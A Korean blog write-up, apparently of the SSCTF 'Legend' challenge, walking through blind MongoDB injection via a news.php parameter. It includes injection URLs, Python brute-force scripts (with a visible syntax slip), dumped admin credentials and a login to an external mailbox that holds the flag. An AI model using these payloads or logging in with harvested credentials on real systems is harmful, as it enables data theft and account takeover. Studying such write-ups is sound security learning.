티스토리 뷰

Legend ? Legend !


Legend! We make web a beautiful place. 라는 문구와 함께 메일을 입력하여 뉴스레터에 가입하는 기능과 여러가지 메뉴들이 보인다.


Portfolio를 누르면 하단으로 이동은 되지만, 다른 기능들은 눌러봐도 아무런 동작을 하지 않는다. 

Portfolio 중에서 가장 처음에 있는 Ethan Marcotte Design의 VIEW PROJECT를 클릭해보았다.


클릭을 해보면 index.php 페이지에서 news.php 페이지로 이동하고 newsid 라는 파라미터가 1이란 값을 가지는 것을 볼 수 있다.

동일한 방법으로 다른 숫자들을 입력해보면 1, 4 | 2, 5 | 3, 6 끼리 같은 내용을 가져오고 다른 숫자들을 입력해면 index.php 페이지로 이동되는 것을 알 수 있다.


newsid 파라미터를 통해서 Blind NoSQL Injection 을 할 수가 있다. (MongoDB)

http://806bddce.seclover.com/news.php?newsid=1%27%26%26(1)%26%26%271

URLDecode를 해보면 1'&&(1)&&'1 이 된다. (괄호는 없어도 상관 없다.)

괄호안에 값이 참일 경우 마지막에 있는 숫자 값에 해당하는 데이터를 불러오고 그렇지 않을 경우 메인 페이지로 이동하게 된다. (Blind)


1==1 참인 결과

http://806bddce.seclover.com/news.php?newsid=1%27%26%26(1==1)%26%26%272



1==2 거짓인 결과

http://806bddce.seclover.com/news.php?newsid=1%27%26%26(1==2)%26%26%272


참, 거짓의 차이를 이용해서 먼저 Collection 의 수를 구한다.

db.getCollectionNames().length==4

총 4개

1
2
3
4
5
6
7
8
9
10
11
12
#/usr/bin/python
# -*- coding: utf-8 -*-
 
import requests
 
for i in range(0,30):
    r = requests.get("http://806bddce.seclover.com/news.php?newsid=1%27%26%26(db.getCollectionNames().length=="+str(i)+")%26%26%272")
    result = r.url
 
    if(result.find("index.php"== -1):
        print i
        break
cs


각 Collection 글자 수를 알아낸다.

db.getCollectionNames()[0].length==1

db.getCollectionNames()[1].length==4

db.getCollectionNames()[2].length==14

db.getCollectionNames()[3].length==4


각 Collection 이름을 알아낸다.

첫 번째 Collection: f

1
2
3
4
5
6
7
8
9
10
11
12
13
#/usr/bin/python
# -*- coding: utf-8 -*-
 
import requests
 
for j in range(0,1):
    for i in range(32,127):
        r = requests.get("http://806bddce.seclover.com/news.php?newsid=1%27%26%26(db.getCollectionNames()[0].charCodeAt("+str(j)+")=="+str(i)+")%26%26%272")
        result = r.url
 
        if(result.find("index.php"== -1):
            print chr(i)
            break
cs


두 번째 Collection: news

1
2
3
4
5
6
7
8
9
10
11
12
13
#/usr/bin/python
# -*- coding: utf-8 -*-
 
import requests
 
for j in range(0,4):
    for i in range(32,127):
        r = requests.get("http://806bddce.seclover.com/news.php?newsid=1%27%26%26(db.getCollectionNames()[1].charCodeAt("+str(j)+")=="+str(i)+")%26%26%272")
        result = r.url
 
        if(result.find("index.php"== -1):
            print chr(i)
            break
cs


세 번째 Collection: system.indexes

1
2
3
4
5
6
7
8
9
10
11
12
13
#/usr/bin/python
# -*- coding: utf-8 -*-
 
import requests
 
for j in range(0,14):
    for i in range(32,127):
        r = requests.get("http://806bddce.seclover.com/news.php?newsid=1%27%26%26(db.getCollectionNames()[2].charCodeAt("+str(j)+")=="+str(i)+")%26%26%272")
        result = r.url
 
        if(result.find("index.php"== -1):
            print chr(i)
            break
cs


네 번째 Collection: user

1
2
3
4
5
6
7
8
9
10
11
12
13
#/usr/bin/python
# -*- coding: utf-8 -*-
 
import requests
 
for j in range(0,4):
    for i in range(32,127):
        r = requests.get("http://806bddce.seclover.com/news.php?newsid=1%27%26%26(db.getCollectionNames()[3].charCodeAt("+str(j)+")=="+str(i)+")%26%26%272")
        result = r.url
 
        if(result.find("index.php"== -1):
            print chr(i)
            break
cs


이 중에서 의심이 가는 user에 들어있는 데이터를 알아낸다.

find()[0]을 하지 않고 그냥 할 경우 아래와 같은 데이터를 얻을 수 있었다.

{  "_mongo" : connection to EMBEDDED,  "_db" : ssctf_news,  "_collection" : ssctf_news.user,  "_ns" : "ssctf_news.user",  "_query" : {   },  "_fields" : null,  "_limit" : 0,  "_skip" : 0 ...(생략)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#/usr/bin/python
# -*- coding: utf-8 -*-
 
import sys
import requests
 
for j in range(0,132):
    for i in range(32,127):
        r = requests.get("http://806bddce.seclover.com/news.php?newsid=1%27%26%26(tojsononeline(db.user.find()[0]).charCodeAt("+str(j)+")=="+str(i)+")%26%26%272")
        result = r.url
 
        if(result.find("index.php"== -1):
            sys.stdout.write(chr(i))
            break
cs


{ "_id" : ObjectId("56d30bfaea684f010e8b456d"),  "username" : "admin",  "passworn" : "*&98*hjhjyu",  "email" : "loverctf@126.com" }


http://126.com/ 사이트에 접속해서 위에서 알아낸 정보를 입력하여 로그인하면 flag 값이 있는 내용을 확인할 수 있다.


Flag: SSCTF{057ef83ac5e46d137a8941712d5fffc2}


더보기


댓글
댓글쓰기 폼
«   2019/01   »
    1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31    
링크
공지사항
Total
68,406
Today
0
Yesterday
23